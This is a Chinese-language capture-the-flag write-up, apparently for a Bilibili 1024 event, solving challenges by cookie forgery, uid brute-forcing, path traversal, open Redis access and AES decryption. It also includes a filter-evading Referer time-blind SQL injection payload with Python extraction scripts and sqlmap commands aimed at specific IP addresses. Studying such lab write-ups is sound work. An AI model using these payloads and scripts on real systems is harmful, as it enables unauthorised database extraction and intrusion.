0x01:页面的背后是什么?
跳转题目页面发现要求使用bilibili Security Browser才能正常访问
遂打开chrome开发者工具【More Tools】->【Network conditions】-> 【User agent】
修改浏览器UA为bilibili Security Browser,刷新页面后得到flag。
但是提交的时候发现flag不正确,所以审查了一下源码;
发现解出的flag其实是第二题的flag,第一题的flag其实直接藏在源码中。
提交flag1、flag2成功,+20分;解锁成就:《关于我做第一题顺便把第二题解决这件事》
0x02:真正的秘密只有特殊的设备才能看到
- 见上题
0x03:密码是啥?
- 这题考验的是
你是否是一个合格的二次元
进入题目发现需要输入用户名、密码,但是不需要进行验证码验证,应该是弱口令爆破;
打开burpsuite
导入珍藏の字典对该题目进行账号密码爆破。
很明显爆破不出来说明你不够二次元
最后结果:账号:admin ,密码:bilibili
提交flag3,+10分;解锁成就:《二次元》
0x04:对不起,权限不足~
进入题目,提示只有超级管理员才能正常访问
抓包发现可疑包文【http://xx.xx.xx.xx/api/ctf/4】
这块饼干cookies
很可疑,将role
的值放到somd5中解密
发现名为为user
superuser
superadmin
admin
root
bilibiliadmin
bilibilisuperuser
bilibilisuperadmin
administrator
Administrator
SuperAdministrator
SYSOP
webmaster
Webmaster
master
supermaster
manager
遂开始尝试不同角色称号的md5值
最后解得答案为:
Administrator
7b7bc2512ee1fedcd76bdc68926d4f7b
拦截包文修改cookies
中的role
为7b7bc2512ee1fedcd76bdc68926d4f7b
获得flag4
提交flag4,+10分;解锁成就:《不是administrator是Administrator》
0x05:别人的秘密
打开题目链接提示这里没有你想要的答案~
审计源码发现ajax
代码
$(function () {
(function ($) {
$.getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
return null;
}
})(jQuery);
var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success: function (data) {
console.log(data);
if (data.code == 200) {
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data)
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});
得知想要flag就得去请求/api/ctf/5?uid=
获得,代码提示起始uid
为100336889
编写脚本进行爆破
"""
Descripition: fuckbili.py
Version: 0.0.0
Author: SmartFox97
Date: 2020-10-24 11:05:54
LastEditors: SmartFox97
LastEditTime: 2020-10-24 11:22:46
"""
import requests
import json
def get_the_flag(uid):
url = "http://45.113.201.36/api/ctf/5?uid=" + str(uid)
headers = {
"Cookie": "session=eyJ1aWQiOiI0ODU1NjE4In0.X5YqJg.9fmCSRse9dXGtz5AXqonGI9rfvU; role=7b7bc2512ee1fedcd76bdc68926d4f7b"
}
_result = requests.get(url,headers=headers)
_data = json.loads(_result.content.decode())
if _data['code'] == 200:
print(_data)
return True
else:
print(_data)
return False
if __name__ == "__main__":
for uid in range(100336889,100336889+1000):
if get_the_flag(uid):
break
爆破结果:
提交flag5,+10分,解锁成就《以牙还牙,十倍奉还》
0x06:结束亦是开始
题目地址从这里开始是一台新的服务器。后端为Apache2.4.9 + PHP 5.5.9
打开是一个落单的博客文章详情页面
url链接携带路径参数id=1
,灵机一动,sqlmap
跑起来;然而老是跑一半就404报错
扫描目录文件,发现目录中存在test.php
、flag.txt
和end.php
直接访问flag.txt
返回
访问test.php
返回得到一堆JSfuck
将代码复制丢进console
中执行得到:
var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()
再次使用控制台打印获得
哪里程序员最多?那必定是全球最大的程序员交流交友网站: GITHUB了
到GitHub上搜索bilibili1024havefun
发现仓库interesting-1024/end
,获得end.php
的源码。
<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>
根据php
源码得知,end.php
需要传输俩个路径参数id
与url
!is_numeric($_GET['id'])
要求传入的值不是数字;
and $reg !== 1 and $str === 1
要求传入的值能被intval
解析为1
故构建路径参数id[]=1
根据前面所得的flag.txt
的地址,构建URI为/blog/end.php?id[]=1&url=/flag.txt
拼接URL访问获得一张图片,图片隐写题,哼哼
下载后用UE打开,Ctrl+F
查找flag
,在文件末尾获得flag10(没错就是flag10)。
提交flag10,+10分;解锁成就《关于我做第六题解出第十题答案这件事》
关于第六题正确题解
今日换了服务器,于是又用sqlmap
再次对第六题进行注入检查
sqlmap -u 'http://45.113.201.36/blog/single.php?id=1' --batch --level 5 --risk 3 --flush-session
sqlmap
发现存在referer
时间盲注,且后端数据库为MySQL
,加上--dbms mysql --dbs
开始枚举裤名
sqlmap -u 'http://45.113.201.36/blog/single.php?id=1' --batch --level 5 --risk 3 --flush-session --dbms mysql --dbs
结果跑不出裤名,我爪巴了,看来是有过滤了。
经过群里某位不想暴露ID的大佬点破,手工构建referer
Referer: 0'^if(substr((selselectect database()),1,1)>binary 0x65,(selecselectt 1+~0),0) ununionion selecselectt 1,2#
成功回显。接下来套用jio本
import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,8):
left=33
right=128
while right-left!=1:
mid=(left+right)/2
# 读数据库名
payload="0'^if(substr((selselectect database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
# 读裤中有的表
# payload="0'^if(substr((seleselectct group_concat(table_name) from infoorrmation_schema.tables whewherere table_schema=database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
# 读表中存在的字段
# payload="0'^if(substr((selselectect group_concat(column_name) from infoorrmation_schema.columns whewherere table_name='flag' anandd table_schema=database()),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
headers={
'Referer':payload
}
r=requests.get(url=url,headers=headers)
if len(r.text) == 5596:
left=mid
else:
right=mid
flag+=chr(right)
print (flag)
获得库名、表名及字段名
接下来套用jio本获取flag
import requests
url='http://120.92.151.189/blog/single.php?id=1'
flag=''
for i in range(1,40):
left=33
right=128
while right-left!=1:
mid=(left+right)/2
payload="0'^if(substr((selselectect flag from bilictf.flag),{i},1)>binary {mid},(selecselectt 1+~0),0) ununionion selecselectt 1,2#".format(i=i,mid=hex(mid))
# print(payload)
headers={
'Referer':payload
}
r=requests.get(url=url,headers=headers)
if len(r.text) == 5596:
left=mid
else:
right=mid
# print(hex((left+right)/2))
# print(right)
flag+=chr(right)
print (flag)
获得flag6
提交flag6,+10分;解锁成就《PY通红》
0x07:接下来的旅程
需要少年自己去探索啦~
在第 题的源码发现了一个可疑的api地址
http://45.113.201.36/api/images?file=banner.png
使用字典爆破发现
http://45.113.201.36/api/images?file=../../../secret.txt
获得神秘字符串
一看就是base64 一次解密得到
JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG
解密个屁啊,将secret.txt
修改为flag7.txt
访问http://45.113.201.36/api/images?file=../../../flag7.txt
获得flag7
提交flag7,+10分;解锁成就《...........》
0x08:接下来的旅程
需要少年自己去探索啦~
中午无聊用nmap
扫描了一下第二台服务器,发现了一个落单的6379
端口
连一手redis
,发现无须密码,keys *
一下;
这么多flag?挨个提交一波,发现只有flag8
是真货。
提交flag8,+10分;解锁成就《你的的redis落单了》
0x09:接下来的旅程
需要少年自己去探索啦~
- 最佳答案:我不会
- 题目都找不到,我解个寂寞啊
- 来自大佬的题解
在第七题获取得到的sercet.txt
中返回的神秘代码串
SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==
将他进行第一次Base64解密得到
JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG
使用AES128 ECB
模式,秘钥是aes_key
,zero_padding
解密得到结果
flag9-8b522546-e52d83b8-5682e05c-c8cb237c
你问我为什么知道秘钥是aes_key
?
来自某位大佬的截图
将
83b92f73637ab8056346bb6b8a3af6d9840e8bb0.jpg
与
ae10c97f6de1129abb00b5c961394336.jpg
进行一次diff
比较diff -a 83b92f73637ab8056346bb6b8a3af6d9840e8bb0.jpg ae10c97f6de1129abb00b5c961394336.jpg
会在一堆乱码之中得到提示
this is the key of secret.txt : aes_key
而ae10c97f6de1129abb00b5c961394336.jpg
这个文件是怎么来的呢?
其实就是讲一开始得到的神秘代码串
SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==
进行一次MD5
加密即可得到文件名ae10c97f6de1129abb00b5c961394336.jpg
解锁成就《无与伦比的脑洞》
0x10:接下来的旅程
需要少年自己去探索啦~
- 题解见0x06
0x11:总结
总结个屁总结
![](https://smartfox.cc/usr/themes/handsome/assets/img/emotion/aru/knife.png)
- 解锁成就《996、007》
- 在此特别感谢群里那位不愿透露ID的大佬耐心的教我如何绕过过滤
大佬,好强
大佬思路清晰详细
大佬说笑了(;´༎ຶٹ༎ຶ`)